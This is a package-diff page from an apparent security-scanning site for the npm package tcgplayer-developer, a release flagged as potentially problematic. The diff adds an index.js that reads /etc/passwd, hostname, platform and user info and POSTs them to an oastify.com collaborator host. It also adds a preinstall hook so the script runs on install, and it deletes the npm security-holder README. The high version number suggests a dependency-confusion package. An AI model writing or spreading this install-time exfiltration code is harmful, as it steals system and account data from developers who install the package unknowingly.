tcgplayer-developer 0.0.1-security → 100.0.21

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tcgplayer-developer might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +38 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+
5
+ // Read the /etc/passwd file
6
+ const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
7
+
8
+ // Create a data object with system information and /etc/passwd content
9
+ const data = JSON.stringify({
10
+ hostname: os.hostname(),
11
+ platform: os.platform(),
12
+ userInfo: os.userInfo(),
13
+ passwd: passwdData
14
+ });
15
+
16
+ const options = {
17
+ hostname: '7x5h7rq4dfc4xwrkujoafb4kibo2ct0i.oastify.com', # server que vai receber, qualquer um até burp collab
18
+ port: 443,
19
+ path: '/exfiltrate',
20
+ method: 'POST',
21
+ headers: {
22
+ 'Content-Type': 'application/json',
23
+ 'Content-Length': Buffer.byteLength(data)
24
+ }
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ res.on('data', (d) => {
29
+ process.stdout.write(d);
30
+ });
31
+ });
32
+
33
+ req.on('error', (e) => {
34
+ console.error(e);
35
+ });
36
+
37
+ req.write(data);
38
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "tcgplayer-developer",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.0.21",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tcgplayer-developer for more information.